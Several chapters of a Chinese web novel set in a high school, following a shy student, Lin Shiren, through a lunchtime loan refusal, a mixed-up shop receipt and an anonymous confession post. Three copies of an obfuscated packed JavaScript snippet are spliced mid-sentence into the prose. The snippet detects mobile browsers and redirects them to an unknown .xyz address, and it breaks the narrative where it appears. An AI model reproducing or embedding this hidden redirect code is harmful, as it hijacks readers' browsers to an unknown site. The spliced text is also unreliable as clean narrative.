那句谢谢还卡在嗓口,周凛已经调转方向回自己座位,压根没给她反应时间,仿佛只是做了件不求回报的好人好事,全程不过十秒钟。 深呼吸,大脑得到一个“没事的”信号,越是在这种尴尬的时刻,越要表现得淡定。 林时稔面色如常地把耳机塞回耳机仓,又捋了捋额前碎发,正好和默默打量的许意峤对上视线。 对方收视线,状态如初,仿佛只是看热闹中的一员。 后背有点僵,她知道女生和女生之间的关系要敏感得多,但愿许意峤不要误会,她对周凛可没有任何非分之想。 各科课代表收齐作业后,陈默踩着上课铃声进,颇有气势地喊了声“上课”,林时稔跟着大家一起起立。 “同学们好。” “老师好。” “请坐。” 平心而论,重点班的课堂氛围确实好,老师讲课进度也快,挖掘难题的时候,经常有学生自告奋勇提出更优解法,然后眉飞色舞地写满整面黑板。 怎么说呢,班级里存在一种开放自由的比拼气场,但这种比拼是积极且良性的。 整个上午,林时稔都处于新班级的调整阶段,认真听讲,埋头苦学,笔记记得比以往都详细,直到午休铃打响,她才惊觉时间的流逝。 一起下楼女生们大多都三三两两结伴而行,头发的淡淡香气飘在空气中,林时稔跟她们隔着不远不近的距离,看起来形单影只。 太阳没有死角地照下来,路面上翻滚着热浪。 汇文的食堂在主楼的右侧,路上会经过学校的篮球场,少年们打得正酣,都是一米八几的身高,满场充斥着荷尔蒙,他们打球的兴致比吃饭高,还没下课就把局儿组好了,所以场地一直很紧俏。 沈序清偶尔也会在这里打球,林时稔的目光下意识地搜寻过去。 篮球架下,周凛正在运球,他下巴滴汗,胸膛起伏,步伐似闪电,一个转身把球传给宋辞,宋辞干净利落地投篮,球进了,他特别欠揍地朝对手吹了个低哨,笑嘻嘻地跟周凛击掌时,下巴朝她的方向指了指,周凛扭头看过来。 林时稔不明白,为什么这两天见到周凛的频率会比她前两年都多,她淡定地收回视线,目不斜视地朝食堂方向走。 宋辞经过早晨的还耳机事件,总觉得周凛和新同学之间有点说不清道不明的苗头,故意调侃:“新同学是不是在看你?按理说你俩也不认识,我怎么感觉她有点怕你,你说实话,到底怎么着人家了?” 周凛没搭理他,带球过人,视线全都在篮筐上。 不说话就是默认,宋辞更来劲儿了,拔高调子:“唉,新同学真可怜,连个一起吃饭的朋友都没有。” 周凛夹着球,胸口轻微起伏:“你还打不打?” “打。” 篮球砸过去:“那就闭嘴。” 宋辞向来崇尚少一事不如多一事,他双手扩在嘴边,朝着那道纤细的背影大喊:“林时稔,帮我们在食堂占个座儿。” 然后他眼睁睁地看着女生的高马尾晃荡幅度更大了,步伐也从匀速变成了匀加速,最后变成在人流中奔逃。 汇文去年换了新校长,上任的第一把火就是解决校内食堂诟病太多的问题,不但重新装修扩建,还增加了很多新的档口,什么砂锅米线花甲粉,饺子馄饨小笼包,比起外面的美食街也不遑多让。 天气热,林时稔胃口不好,就点了份凉面,找了个靠窗没人的位置。 刚吃上两口,就接到了董蕊的电话:“时稔,你找到吃饭的伴了吗?” 她爸爸在学校附近租了套公寓,午饭是回家吃的,这会儿已经到家了。 那时,食堂里还喧嚣,林时稔听得心里一暖,从口袋里掏出湿巾,给桌面消毒:“放心吧,有伴儿。” “那我下午给你带水果。” “你别睡过头了,下午第一节是化学课。” “嗯,我定个闹钟。” 一碗面,吃得挺慢的,一半的时间在发呆,另一半的时间致力于规划周日饭局的话题,希望辛晓梅和林志远能够心平气和地吃顿饭,这就是她最大的生日愿望。 对面的椅子不知不觉间被人拉开,拔高的女声亮出来:“林时稔,你一个人吗?” 林时稔抬额,下意识地往后撤了一下餐盘,“嗯。” 庞子怡是她高二的同学,挺可爱一个女生,圆脸上带着几颗雀斑,肤色是健康的小麦色,她当初也是被这幅无害的外表所欺骗,才会前前后后借给她六百多块钱,拖拖拉拉快一年,还有三百三十块没还上。 “正好我也是自己。” 庞子怡对她的疏离浑然不觉,放下餐盘就拉着她热情尬聊:“恭喜你升到重点班了,我一直都觉得你很有实力,努力终于得到了回报,真替你开心。” “对了,我昨晚给你发了消息,你没看到吗?” 事出反常必有妖。 对于庞子怡的恭维,林时稔并没有表现出很热情的样子,看着从头到脚一身新衣,很担心自己又成了被人惦记的大冤种,只是象征性地笑笑:“开学了,我妈把我手机收了。” 庞子怡可能听出了她话里的疏离,但有求于人的时候,干干笑了一声:“你妈管得可真严。” 说完视线重新落她身上,试探道:“考上重点班,你爸爸妈妈没奖励你吗?” 狐狸尾巴终于露出来,林时稔在心里叹气,也只能冷处理:“没有。” 本来话题到这里也就该打住,但她显然低估了庞子怡脸皮厚的程度,不但绝口不提还钱的事情,还偏要把拎自己的破绽出来打脸,说她期末进步五十多名,家里就奖励了一台新手机,还说到林时稔应该得到更多。 “我跟你说,这个奖励你就应该跟你爸要,要不然他的钱也是给你弟弟花,你弟弟跟你又不是一个妈生的,将来肯定两条心。” 这鸡汤有剧毒,表面上句句为她着想,实则把她的家庭关系扭曲成对立对的两方,不谙于事的林时稔当初对她不设防,一不留神被套了那么多隐私,现在后悔都来不及。 “没事儿,我钱够花了。”她的音质细软,有绵软的味道,这样的声音即使是生气也很难让人察觉。 一番对话下来,吃饭的氛围总算变得安静。 面已见底,林时稔放筷,看向吃到一半的庞子怡:“子怡,我先走了,昨晚睡得晚,回教室午睡一会儿。” 说完就收拾餐盘起身。 大概是没想到她会直接走人,庞子怡有些急了,先一步按住她的餐盘,堆着笑脸:“别呀,我找你还有点事儿。” 林时稔没说话,站在原地,神色清浅地看着她。 庞子怡见她始终不接话茬,终于支支吾吾地说出来意:“我假期背着家人去看了场演唱会,把生活费花光了,你能借我两百块钱吗?我下个月肯定还你。” 安静的氛围持续了三秒钟,林时稔的唇角勾出一抹轻嘲: “好羡慕,你竟然真的去看了偶像的演唱会,还花光了全部的积蓄,实在是太有魄力了。” “我不借。” “你慢慢吃,太急了容易消化不良,我先走了。” 说完,也不给对方反应时间,端起餐盘就走。 …… 周凛有洁癖,打完球又去学校浴室冲了澡,再进食堂的时候,身上已然清爽,半干的头发微微滴水,周身浮着股清冷温润的沐浴香。 宋辞听他们说花甲粉味道不错,就提前在档口排队,周凛进来的时候花甲粉正好出餐,宋辞朝他打了个响指:“小周周,帮我端一下,还真拿我当小厮了。” 周凛迈开步子过去端走一个餐盘,宋辞走在他后面,视线环视整个食堂:“刚刚我不是让新同学帮我占座了吗,你说她能不能照做?” “你少无聊。” 话虽这么说,目光投向窗口那边的时候,周凛的走速却突然变慢,跟在他身后的宋辞险些撞上去,他骂出了一句以“C”开头的脏话:“刹车能不能提前说一声,我真服了。” 宋辞抱怨归抱怨,还是顺着他的视线看过去,正看见林时稔和一个女生在说话。两人一站一坐,她的身高目测不超过165,加上身材纤细,有种天然额无害感,手指攥着不锈钢餐盘的边缘,指节因为用力而泛白。 他瞪大眼睛:“那不是新同学吗?还真给我们占 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256429|182069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 座了?” 怎么看出来的? 周凛现在不仅怀疑宋辞的眼睛,还怀疑他的脑子,是个人都能看出来那桌的气氛并不好。 “走走走,不能浪费新同学的一片美意。”宋辞说着已经越过周凛,三步并作两步,径直往窗边走。 周凛跟着他走了几步想拦住他,就听见女生情绪难辨的声音:“好羡慕,你竟然真的去看了偶像的演唱会,还花光了全部的积蓄,实在是太有魄力了,我不借,你慢慢吃,太急了容易消化不良,我先走了。” 宋辞愣住了,刹车的幅度比他刚才还大,回头看周凛,嘴巴张张合合好几次,最后汇成一股狂笑:“是在说脱口秀吗?哈哈哈哈哈哈,她叽里呱啦的一堆话里,是不是藏着「我不借」三个字……哈哈哈哈哈哈,我还以为新同学没脾气呢?” 就那么点距离,周凛也欲笑憋笑,小姑娘瞳孔清软,自以为脾气很大地把拒绝的话藏在那么一大串温和又一针见血的句子里。 惹到她算是惹到棉花了。 正午阳光如瀑,天气还是很热。 林时稔走出食堂一百多米,才平复了那颗雀跃的心,她其实不太敢跟别人正面起冲突,起了自己就会先涌上眼泪,然后气势立马就矮了一截,所以她刚刚没给庞子怡反应的时间,拒绝完就马上离开。 「三明治拒绝法」是林时稔在网上学的,只要能战胜心理负担,操作起来并不难。为了这一天,她已经在家里练习过好多次,所以脱口而出的时候才会这么流畅。 第一步先顺着对方的话题莫名其妙乱夸一通,第二步简明扼要地拒绝,第三步结束话题离开现场,游刃有余的选手还可以提出一些更加荒谬的要求,比如”最近想要移民月球,你能借我三千万吗”,这种她还说不出口。 不过还是很爽。 或许,她下次可以尝试一下跟庞子怡要债。 原本要回教室午睡的想法,被这场胜仗硬生生地调转了方向,林时稔必须要给自己一个大大的奖励。 这个时间的校内便利店人满为患。 买零食的同学在货架前叽叽喳喳地聊天,她从冷柜里拿一瓶星巴克咖啡,安静地站在结账队伍里。 “沈序清,晚上约球吗?” “都有谁?” 伴随着心尖“啪叽”一声响,林时稔捏着玻璃瓶的五指收紧,她别头看过去。 便利店的门被人拉开,暑气一股脑地涌进来,进出的人互相热闹地打招呼,沈序清进来了。 男生站在门口跟他寒暄,他穿着一件纯白T恤,额前的碎发被汗打湿,两人的距离是如此之近,她甚至能看到他脖颈汗珠滚落的过程,心跳不自觉地变快。 直到三秒后,店员喊她买单。 林时稔低头拿钱,垂下的发尾微微晃动,手指在钱包里翻动,动作却因为他的迫近而无法自然。 终于,二十元抽出来了,一起飞出来的,还有张购物小票。 白色的小纸条在空中划过一道弧线,又因为空调口的冷气,飘落到身后一米远的位置。 林时稔折身,兵荒马乱地想要捡起来,却有人比她的动作更快,沈序清先她一步把小票捡起来,再递回给她。 林时稔万万没有想到两人同班后的第一次交集竟然就这么猝不及防地发生了,因为没有任何预期,双颊不自觉地发烫,她接过小票,没碰他手指分毫:“谢谢。” “下次记得收好。”男声磁沉悦耳,带着意味不明的笑意,在耳廓开出一朵脆生生带的小花。 她很少有机会可以这么堂而皇之地跟他对视,即使只是这么短暂而微小的交集,也足够让她脸红耳热,林时稔不太自然地把碎发绾到耳后,看着他迈开步子朝后面货架走去,看他挺拔的背,看他的后脑勺。 “同学,给你零钱。”收银台提醒她收零钱,她不舍地收回视线,再把找回的纸币一张一张捋好。 小票本来是要丢掉的,可一想到是沈序清帮她捡的,就又准备留下它。 重新塞回钱包前,林时稔瞄了眼小票上面的商品信息,突然脑子和眼前一片空白,她心跳得很快,腿也有些发软,好像手里拿的不是纸,而是一枚扯开拉环的手榴弹。 商品信息:杰士邦超凡持久六只装。 数量:1 价格:64.90 她装错了周凛的购物小票,还被沈序清看见了? …… 5. 表白 林时稔想把那盒杰士邦砸周凛脑袋上。 气他,更气自己,为什么会好死不死地装错购物小票,眼睛是脱窗了吗? 原本的好心情被破坏得干干净净,林时稔气得睡不着,拿出记仇本,一口气怒写了五首爱国诗歌泄愤,默念了十几遍社会主义核心价值观,又在心里把这辈子能想到的全部刻薄话全都骂了一遍,气还是没消。 以为升到重点班,她和沈序清之间命运齿轮可以转动,没想到命运的链子刚来就掉了。 讽刺。 光是怀疑沈序清看到小票这件事已经够让她内耗,脑袋里翻来覆去地咀嚼,会设想他在心里会把自己猜想成什么样的女生,最后头都痛了。 就好像你刮了一份彩票,不但没中奖,还刮出来一张欠条来,林时稔现在就是这种心情。 所以,跟周凛的梁子算是单方面结下了。 午休快结束的时候,周凛回来了,教室里还睡下一大片,于是很轻易就看到了靠在椅背上的林时稔。 她似乎被某道题难住了,满脸不高兴,这么热的天,防晒衣也没脱,宽宽大大地罩在身上,衬得整个人更显单薄。 宋辞跟他后面进来,嗓门忘了收:“靠,我就说忘了点事儿,忘买咖啡了,下午肯定要犯困。” 林时稔闻声抬头,看见他时,眼里情绪有变化,不知道是不是周凛的错觉,他感受到了若有似无的敌意。 这种胶着的对视持续了三四秒,她移开视线,低头继续写字,笔端很用力,手背上的青白血管都变得明显。 像一只弓背炸毛小奶猫,自以为很凶地揣着两只小爪子,其实没什么杀伤力,周凛没忍住,直接笑出声来。 这会儿教室里还安静,少年的笑声带着散漫又撩人的气音,有些突兀。 “小周周,你别这么笑,渗人……” 这个笑容看得宋辞毛骨悚然。 他不爱笑,平日里总是自带一股心如旁骛的气场,宋辞目光顺着他的视线穿过整个教室,再看向坐得笔直的林时稔:“什么情况,你是对着新同学笑吗?” 周凛不理他,弯动膝盖往座位走。 宋辞跟着他回座位,视线一直在两人之间辗转,满脸审度局势的模样:“不对劲,真的不对劲,你俩之间一定有事儿。” “你要是闲着没事干,就把垃圾倒了。”周凛慢条斯理地从书桌里抽出本化学书,翻到第一页。 宋辞的好奇心彻底被点燃了,化学高三的课程早都学完了,这人明显就是在掩饰。 他用仅有两人能听见的音量说:“想追人的话,光明正大跟我说,你兄弟将来是要考北航的,当僚机那是相当拿手,不过你要是想搞暗恋的话…也没问题,地下党工作我也擅长。” 周凛捏了捏后颈,眼皮都没掀:“滚远一点,别污染我耳朵。” 宋辞被他气得够呛,无能狂怒:“行,活该你单身一辈子,将来别哭着喊着求我帮忙,到时候我的身价贵得吓死你。” 他的嘴是彻底撬不开了。 但宋辞向来是越挫越勇的性格,决定另辟蹊径换个人撬,他把练习册立起来当掩护,偷偷摸摸从桌洞里拿出手机,沿着群成员名单往下滑,找到林时稔的名字,然后点击添加好友。 上课铃打响,化学老师抱着一沓试卷进教室,她一头短发精明干练,年级在三十五六岁,进门的时候抻着脸,看起来脾气不太好。 讲题声从讲台上一阵阵传来,平直的语调好催眠,没睡午觉的副作用就来了。 林时稔听得神思发倦,她把手肘摆在桌面上,撑起脸颊偷偷打个哈欠,字迹也渐渐潦草。 董蕊给她传了张纸条过来:「别睡,小钢炮往这边看呢」 化学老师姓孙,因为发火的时候太可怕,班里人给她起了个外号叫“小钢炮”。 林时稔用笔尖扎了下掌心,靠痛觉维持清醒,眼底蒙了层层盈盈水雾。 没一会儿神经又放松,困意渐深,眼皮快要黏到一起。 “对于满足这种通式的烷烃来说,它的不饱和度等于零……”化学老师的尾音渐渐刹住,眼睛眯起来,有经验的同学蠢蠢欲动地交换着眼神,一个个脑袋都缩着。 这是要发火的前兆,不知道谁是今天的倒霉蛋。 两秒后,靠窗的过道突然传来巨大的书本落地声,所有人都看过去。 没有那沓书当掩体,宋辞的胳膊因为惯性朝前滑,揉着眼睛起来的时候,脸上的睡痕明显。 他抬头看化学老师,化学老师的视线拐了个弯儿,手里粉笔没有任何犹豫地扔过去,暴躁火山一样发出来:“宋辞,要睡回家睡去,一直睡到高考怎么样?” 再困的人也被吓醒了,全班雅雀无声。 林时稔都能感到自己的桌子因为前排男生的正襟危坐而晃动,她的手腕也抖了一下。 化学老师开始翻期末考试的成绩单:“九十一分?宋辞你是不是觉得自己考得挺好,对自己成绩挺满意的,这么满意我的课别上了,回家自学吧。” 宋辞认错态度良好,站起来听训:“对不起,孙老师,我也不想睡,但身体是真的困,我刚刚就是想调整一下听课的坐姿,身体就自己罢工了,真没有不尊重您的意思……” 这个话术还挺高明的。 没有沉默,没有狡辩,只有老实本分地承认错误,化学老师的表情好看不少,她双手叉腰继续杀一儆百:“谁的心思没在黑板上,谁的眼神跟着思路走,我站在讲台上一清二楚,你们是重点班,纪律还需要我强调吗?” 下课铃一响,宋辞把周凛的桌子拍得震天响,轰炸一句:“我睡觉前,不是让你帮我盯着小钢炮吗?” 周凛把卷子收起来,表情坦坦荡荡:“我提醒你了。” 宋辞的脑门瞬间拉下三条线:“有你这么提醒的吗?抽冷子给我个大招,差点把我吓尿了,而且得罪了小钢炮,我这个月都别想好,估计又要跟老陈告状……” 教室里吵吵闹闹,周凛一边喝水,一边分了心。 化学老师讲到一半的时候,就已经盯上了林时稔,而她昏昏欲睡,丝毫不知道自己成了枪头鸟,所以他故意戳了宋辞一下。 那么冷情冷感的人,今天倒是做了件好事儿。 但一无所知的林时稔并不领情。 整个下午,她一直隐隐期待周凛书包里的杰士邦可以像宋辞的书一样掉到地上,然后被老师发现、被同学看到、被教导主任带到办公室,最后再罚一份五千字检讨当众念出来…… 可惜,想象终究是想象,放学铃打响的时候,这一切都没有发生。 林时稔是到家之后才发现微信里多了条好友申请的。 为了躲着周凛这个瘟神,她晚上连地铁都没坐。 人跟人之间的磁场很重要,既然八字不合,就一定要远离,远离名单自然也就包含宋辞。 林时稔故意忽略这条好友添加,她来重点班是为了让自己变得更好,又不是来交朋友的。 辛晓梅今晚下班早,难得贤惠地下厨做了四菜一汤,可惜饭才吃了一半,那点儿耐心就耗光了。 她手里的筷子往桌上一摔,气冲冲地从阳台探头,朝楼下扰民的广场舞大妈扯嗓子喊了两声,“咣当”合上窗户,重新回餐桌的时候,又开始数落林志远,怪他当初为了占便宜买了这个破房子,怪自己瞎了眼才跟他结婚。 这个家就是被她的强势吵散的,林时稔早就习惯了,充耳不闻地继续吃饭。 辛晓梅骂着骂着,连带着看她也不顺眼了,用筷子敲了一下她的碗:“芹菜芹菜不吃,香菜香菜不吃,你都多大了还挑食,林时稔我告诉你,别学那些爱臭美的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256430|182069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说什么有吸光成分吃了怕黑,你现在最重要的就是学习,营养都跟不上,还考什么大学?” 林时稔心里也有点动气,不喜欢就是不喜欢,难道三天两头订外卖就有营养吗?可那口气在嗓口横冲直撞,最后还是被她咽下。 辛晓梅离婚后独自带她,一个单亲妈妈不容易,还被前夫抢占了再婚的先机,这让争强好胜的人怎么受得了? 芹菜不要钱地往她碗里夹:“你到了重点班,多跟同学交流,别像个闷葫芦似的,将来到了社会你就明白了,同学关系才是最好的人脉。” “妈,我学习压力真的很大……” “那就学学压力锅,化压力为动力。” 林时稔收嘴了。 辛晓梅灌了口凉茶,话题又从住院部的关系户聊到自己即将到来的更年期…… 负能量满满。 夜里十一点,作业终于写完了。 不知是谁家桂花开了,香气浓郁,林时稔将窗子推大了些,就去浴室洗澡。 洗完澡又去厨房给自己热了杯牛奶,打开手机有未读消息,是董蕊半小时前发来的:「你看校园通论坛了吗?」 她用指腹轻轻打字:「没,怎么了?」 董蕊秒回:「有人表白,速速围观。」 淮城一中有自己的校园通,学生可以在App上面查看校内的新闻和通知、下载优秀教师课件等,还可以在论坛上分享学习心得。因为账号都是匿名的,论坛区也成了学生们抒发情绪的出口,后面发展越来越烈,不少人把论坛当成表白墙来玩。 论坛区表白是常有的事儿,全校班主任不知道达成了什么默契,竟然没人来这里抓早恋,也是蛮奇怪的。 这条帖子炸出一群潜水的人,林时稔登录自己的账号,就在帖子前看见个“爆”字。 她的账号名叫吃瓜罗伯特,灵感来源于微博,而且雌雄难辨,就算偶尔留言也不会有心理负担。 帖子的原文如下:「第一考场见到你的那次,我就知道自己完了,你穿着纯白的T恤,气质沉静,一身蓬勃的少年气,就像炎热夏天里的冰镇梅子酒,整间考场都变成了甜的。 我视你为偶像,一直追着你的背影努力,我甚至常常在想,到底用什么样的速度才能缩短跟你之间的距离?直到我今天得知了一个消息…… 这份表白本来是应该等到高考后的,我拿着录取通知书,不管上面写的是哪所院校,不管我们是在天南还是海北,到时候我要亲口问问你:这个夏天这么热,我的暗恋能变成热恋吗?」 发帖人的情感非常真挚,林时稔其实挺能共情的,她把牛奶放一边,顺着帖子一条条往下刷,留言还在不断地实时更新。 「文笔好棒呀,暗恋总是酸涩中带着甜蜜」 「宝宝,你别总是看着他,能进第一考场,证明你也是很强的」 「被暗恋的人难道真的看不出来吗?我之前喜欢一个男生,我从来没有跟别人说过,可是周围人人都看得出来」 「可惜帖主没有直接点名,我好想看看当事人是怎么回应的」 「不是说在第一考场吗?范围可以缩小了」 「等等,本来要等到高考后,现在提前了,这难道不是一个重大线索吗?」 「靠,帖主提前表白,是男主角是要被保送了吗?」 「楼上真相了」 「果然人多力量大」 「如果是周凛的话,帖主还是好好学习吧」 男主角一揭晓,话题又风风火火地转向了周凛,聊他能进国家队有多么牛逼,聊他解题思路有多么绝,林时稔撇嘴,把脑袋摇成拨浪鼓,突然有种众人皆醉我独醒的感觉。 「帖主该不会是刚升进重点班的吧?」 看到这一条,惊得林时稔手抖,手机“噗通”一声砸地板上。 6. 对峙(新增1000字) 秒针在新留言不断弹出中滴答行走。 林时稔不知道自己什么时候睡着的,直到清晨的光线刺目,蝉鸣噪耳,她才迷迷糊糊睁眼。 醒来的第一秒就是解锁手机屏幕看昨晚的表白贴,吃瓜群众一直讨论到凌晨两点多,热度才终于降下去,不过幸好后续没人再胡乱把发帖人安在她身上了,林时稔微微松一口气。 真的不想再跟周凛扯上任何关系了。 上午七点零九分,阳光清透,汇文高中的林荫道上集满喧嚣的脚步声,都是卡点赶早自习的学生。 从正门到教学楼还有一段距离,林时稔喘着气跑在校园里,鼻翼已经覆着薄薄一层汗。她的腿已经酸了,身旁不断有人反超过去,连扬起的风都是热的。 实在是跑不动了。 直到一个稍快的脚步声从身后传来,书包突然一轻,她下意识回头,就看见一只骨节分明的手。 不知道为什么,林时稔一直觉得男生的手是带有荷尔蒙的。这只手就长得很好看,手指瘦削修长、指缘干净整洁,手背皮薄带有青筋。 就是,有点眼熟…… 林时稔抬额,正好对上旁边人的视线。 不得不说,周凛的五官还是非常出色的,简简单单的白T在他身上,总是有清风霁月的感觉。 他应该也是跑来的,气息有些紊乱,额前碎发被风吹得四散,上下唇轻轻一碰,念出她的名字:“林时稔,跑两步,就剩一分钟了。” 避之唯恐不及的人,又一次如鬼魅般降临, 他的表情没有任何异样,仿佛只是来自普通同班同学的关爱,而且同样都是背着书包,为什么他的书包就好像是个时尚单品似的,轻飘飘的。 林时稔不着痕迹地把书包扯回来,走速也快起来,做得好像体力完全能胜任的样子:“谢谢提醒。” 她声线轻柔,语调里透着股娇弱无力的气音,像蜻蜓的翅膀扫过耳廓,周凛眼皮颤了颤,没所谓地松了手。 稀碎的阳光依次流过头顶,他们之间的距离不足一米,周凛走在光影下,林时稔走在阴影里,从后面看,两人的身高差竟意外和谐。 走在身后的体委厉鹏飞也不怕迟到了,放慢脚步,挤眉弄眼地拍了下宋辞的手臂,“我靠,什么情况?” 宋辞也纳闷,周凛助人为乐的精神远不至于如此,况且这人压根儿就没人性,他嘴里还咬着半个包子,拖着不屑的尾音:“可能坏事干多了,得做点好事对冲一下。” 早自修的铃声准时打响, 林时稔踩着最后一秒铃声进教室,整个人都是麻的,身体虚疲无力,心脏扑通扑通直跳,凝着的汗把后背都打湿了。 坐在斜后方的沈序清因为一连串的脚步声抬头,手里的笔还在指间转着,看见是她,又表情如初地收回视线,不带一丝情绪。 林时稔哪敢跟他对视,小票的事儿还不知道该怎么解释,她匆匆捂了一下脸,提醒自己不要失态。 比他们晚三秒到的厉鹏飞和宋辞就没那么幸运了,被陈默抓了个正着,喜提值日三天。 好不容易熬到下午,后座两个男生又开始玩猜元素的无聊游戏,董蕊跟她讨论了一道题之后,也开始抱怨作业多的事情。 “明天才放半天假,就留了两套模拟试卷,我洗大澡的计划又泡汤了。” 林时稔也发愁,周日晚上约了辛晓梅和林远志吃饭,一顿饭怎么也得耽误两三个小时,又得熬夜了。 周六下午有一节难得的体育课。 天气很热,体育老师也知道高三生的辛苦,带着大家做完热身活动就原地解散了,女生们三三两两聚在树荫底下聊天。 林时稔出来的时候没擦防晒,这会儿手臂上已经出现了零星的红点,她挠了两下,红疹的面积看起来更大了。 “哎呀,怎么这么严重?” 董蕊一阵惊呼,林时稔眼角余光撇到远处有人看过来,连忙捂住她的嘴:“没事儿,我回教室拿防晒衣。” “用不用我陪你去?” “没事,我自己能行。” 回教学楼的路上经过篮球场,她远远就看见了场上带球的周凛,烈日当空,他颈上的汗顺着锁骨滑进黑色球衣,接过宋辞的传球后跃身投篮,手臂线条明显,很有少年感。 看台的阴凉处还坐了几个女生,不知道是在看球还是八卦,时不时传出阵阵笑声。 “你们说昨天那个表白帖到底是谁发的?” “无所谓吧,周凛又不会看。” “你怎么知道?” “荞荞说周凛从来不上校园通。” “宋辞嘴巴那么大,总会告诉他的。” “有人说发帖人是林时稔,你们觉得可能吗?” “我觉得不太像,她看起来挺内向,不像能这么大胆直接表白的……” 林时稔隐隐约约听到了自己的名字,她重新看过去,就看见坐在她们中间的许意荞。 她并没有加入女生们的热聊,正全神贯注地看着球赛,穿了件鹅黄色的连衣裙,一字肩,露出凸凹有致的天鹅颈,乌黑的长发被风扬起。 与此同时,周凛进了一个球,场上欢呼声此起彼伏,女生们也中断聊天,随着一起鼓掌。其中一个女生发现场外走过来的林时稔,用胳膊肘给左右两侧的人递话:“注意点,别乱说话。” 也正是因为这句提醒,许意荞发现了她的存在,遥遥看过来。 她的瞳色偏浅,看人时像隔着一层冰,三秒后,收回视线,眼睛继续跟着场上的周凛走,身上带着若有似无的倨傲感。 林时稔觉得有点讽刺。 喜欢周凛就去追呀,她不是任何人的绊脚石,她只是焦糖布丁上面那层的硬壳,不仅易碎而且没什么用,所以不要再把她当个人物似的嚼来嚼去了。 尽管校园里的八卦无处不在,但林时稔清楚地知道,她不想成为任何人的谈资。在表白墙上跟周凛表白的人不是她,但传播者会在自己看不见的地方展开各种莫须有的剧情,而这些剧情早晚有一天会传进沈序清的耳朵。 内心响起无数抱怨的翻腾声,但林时稔还是秉承着一贯低调的作风,不声不响地从她们身边走过,没过分表露情绪。 教室里,陈默好像在玩盲发试卷的游戏,看见她时眉心微微蹙起:“体育课就是让你们放松的,怎么回来了?” 林时稔让他看胳膊上的红疹:“陈老师,我紫外线过敏,来拿一下防晒衣。” 陈默把手里的试卷撂一边,温声道:“要不要去校医室拿点药?” 止痒的药膏大多都有激素,她觉得自己还能忍,摇了摇头:“没事儿,我经常过敏,一般晚上就能消了。” “行,那你要是不能晒太阳,就留在教室里休息吧。” “不用了,我妈说多晒太阳补钙。” 教室里但凡还有第三个人,林时稔都会选择留在座位上休息,但此时此刻,她以毫不耽搁的速度出去了,实在不想落得个跟陈默两两相望的尴尬。 回程的路,不可避免的,还是会经过篮球场。 瞄一眼看台方向,那群女生还坐在那里,她盯着脚边的影子,尽量降低自己的存在感。 偏偏一颗篮球好死不死地飞过来。 虽然没有砸到林时稔,但也把她吓了一跳,她抻平嘴角看过去。 周凛在一片低嘘声中做了个道歉的手势,然后等着她把球传过去,她身上的那点反骨终于爆发了,不发一言地扭头就走,留给他们一个挺潇洒的背影。 一路上都在为自己鸣不平,软声抱怨:“有没有礼貌?连个道歉都不说,以为所有人都能看懂手语吗?篮球也是越来越没有门槛了,手残党也能上场。” 身后有人朝这边跑,林时稔回头看一眼,宋辞不知道什么时候追过来了,她视而不见地加快脚程。 “林时稔。” 这回不能当没听见了。 她在无人关注的角落偷偷翻了个白眼,再回身的时候,脸上的不满已经收敛:“什么事?” 宋辞以一路小跑的节奏停在她三步远的位置,用手撑着膝盖,大口大口地喘气:“你跑什么?” “啊?” 林时稔以为他是来道歉的,结果却不是,他朝她露出一口白牙:“我微信加你好友了,你怎么不通过?” 哪有人这么直接的? 不通过还能有什么理由? 为什么不在自己身上找原因? 林时稔很想为自己的尴尬保留一点沉默权,可她走一步就被宋辞挡一步,很快就引起了不少人的侧目。 她吸一口气,慌不择路地编了个理由:“不是我不通过,是我没有手机,手机被我妈妈没收了。” 因为不擅长撒谎,一句话说得断了两次句,颠三倒四的。 “可我昨天在地铁上看见你刷手机了。” “昨天晚上没收的。” 宋辞挠挠头,像是在思考:“这样啊……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256431|182069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林时稔点头如捣蒜。 没错,就是这样。 现在可以旋转、跳跃,然后离远点了吗? 宋辞定定地看着他,笑得痞里痞气的:“那今天早上,你那个听音乐的耳机,连的是卫星吗?” “……” 这下好了,被人直白且无情地戳穿了,林时稔僵在原地,一股热气直通脑顶,很想找个地缝钻进去。 “你加她好友要干嘛?” 尴尬的气氛被一道男声打破,两人朝这声源方向看过去。 周凛夹着球过来,额前的碎发被汗打湿,风尘仆仆的模样,身后还有一堆看热闹的篮球队员。 他刚到跟前就把球砸宋辞身上:“你还打不打球了?” “现在是中场休息时间,你怎么管得比我爹都多。”宋辞不爽地撇嘴,又把球扔回他怀里。 周凛的胸膛起伏着,面上没多少表情:“你总逗她干嘛?” 宋辞毫不客气地反驳:“关你什么事儿。” 